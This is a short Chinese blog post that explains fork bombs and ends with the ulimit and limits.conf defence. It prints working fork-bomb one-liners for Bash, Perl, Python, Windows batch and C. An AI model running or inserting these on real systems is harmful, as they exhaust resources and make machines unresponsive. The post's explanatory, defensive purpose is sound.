今天一位同事在编码时不小心,忘记给循环加break。导致开发机(虚拟机)负载过高而无响应。ping值忽高忽低,ssh连不上,mysql连接超时。
这不禁让人想起大名鼎鼎的Bash炸弹:
:(){ :|:& };:
在Bash中,冒号(:)是可以做为函数名的,所以这个炸弹也就很容易理解了:
- 定义一个函数
- 函数体中,递归调用此函数,并把输出重定向到管道。
- Bash中,函数调用是会启动新进程的,而管道后端又启动一个进程。
- 管道启动的新进程又会继续递归启用管道、启动新进程。
- & 符号把任务置于后台运行,避免终端交互。
- 连锁反应会继续,直接到达内核资源限制。若无限制,则直接会把服务器拖死。
Perl 版本炸弹
perl -e “fork while fork” &
Python版本炸弹
import os
while(1):
os.fork()
Windows XP 批处理
:bomb
start %0
goto bomb
C语言版本
int main() { while(1) fork(); }
如何防范?
通过限制用户对资源的占用来防止。因为此类炸弹是用耗尽系统资源来达到攻击目的的。Linux的限制方法有:
ulimit 命令 或者 /etc/security/limits.conf